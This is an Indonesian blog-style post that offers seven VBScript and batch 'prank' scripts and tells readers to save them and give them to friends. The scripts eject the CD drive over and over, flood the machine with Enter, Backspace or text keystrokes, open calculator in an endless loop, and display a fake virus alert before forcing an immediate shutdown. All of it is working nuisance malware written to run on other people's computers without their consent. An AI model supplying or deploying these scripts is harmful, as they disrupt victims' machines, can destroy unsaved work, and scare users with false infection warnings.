Isengin Komputer Bermodal Notepad

bosen dengan belajar, mau
iseng? Yuk, kita pakai cara
sederhana saja untuk ngisengin
teman kita sendiri.
Tapi jangan anda coba trik ini di
komputer anda, klo dicoba berarti anda mengisengin diri
anda sendiri & dapat dibilang
anda melakukan tindakan yang
stup*d.. Hehe.. Wkwk..
Lets begin! Pastikan Anda
Mengetik Dengan Benar Script Dibawah Ini! Copy Paste Kadang
Tidak Berhasil Dikarenakan
Perbedaan Tanda Petik ( ” ” ) Pada Notepad, Untuk Lebih Fix
Bisa Pake TextPad
1. Iseng Mengeject CD-Drive
Terus Menerus
Set oWMP = CreateObject
(“WMPlayer.OCX.7″) Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
2. Iseng Dengan Tombol Enter
Terus Menerus
Set wshShell =
wscript.CreateObject
(“WScript.Shell”) do
wscript.sleep 100
wshshell.sendkeys “~(enter)” loop
Kemudian save dengan
“SUKASUKAANDA.VBS” & Berikan keteman Anda
3. Iseng Dengan Pesan Lambat
Notepad “Hello, how are you? I am good thanks!” WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell =
WScript.CreateObject
(“WScript.Shell”) WshShell.Run “notepad” WScript.Sleep 100
WshShell.AppActivate “Notepad” WScript.Sleep 500
WshShell.SendKeys “Hel” WScript.Sleep 500
WshShell.SendKeys “lo ” WScript.Sleep 500
WshShell.SendKeys “, ho” WScript.Sleep 500
WshShell.SendKeys “w a” WScript.Sleep 500
WshShell.SendKeys “re ” WScript.Sleep 500
WshShell.SendKeys “you” WScript.Sleep 500
WshShell.SendKeys “? ” WScript.Sleep 500
WshShell.SendKeys “I a” WScript.Sleep 500
WshShell.SendKeys “m g” WScript.Sleep 500
WshShell.SendKeys “ood” WScript.Sleep 500
WshShell.SendKeys ” th” WScript.Sleep 500
WshShell.SendKeys “ank” WScript.Sleep 500
WshShell.SendKeys “s! “ Kemudian save dengan
“SUKASUKAANDA.VBS” & Berikan keteman Anda
4. Iseng Dengan Backspace
MsgBox “Maaf, Anda Harus Mengulang Kembali” Set wshShell
=wscript.CreateObject
(“WScript.Shell”) do
wscript.sleep 100
wshshell.sendkeys “{bs}” loop
Kemudian save dengan
“SUKASUKAANDA.VBS” & Berikan keteman Anda
5. Iseng Dengan Membuka
Calculator Terus Menerus
@ECHO off
:top
START %SystemRoot% \system32\calc.exe
GOTO top
Kemudian save dengan
“SUKASUKAANDA.BAT” & Berikan keteman Anda
6. Iseng Dengan Keyboard
Set wshShell =
wscript.CreateObject
(“WScript.Shell”) do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap
Diperbaiki” loop
Kemudian save dengan
“SUKASUKAANDA.VBS” & Berikan keteman Anda
7. Iseng Dengan Shutdown
Computer
@echo off
msg * Komputer Anda Terinfeksi
Virus shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
Kemudian save dengan
“SUKASUKAANDA.BAT” & Berikan keteman Anda
=================================
=================
Note: kalo kalian Bosen gak ada
kerjaan didepan komputer,
terlintas untuk berbagi cara ngisengin teman. Teringat masa
lalu waktu masih suka ngisengin
temen²
atau buat jaga2 kalo2 komputer
ada yang iseng jd kan dah ga
kaget lg Heu heu Semoga Bermanfaat

pake bhs visual basic ?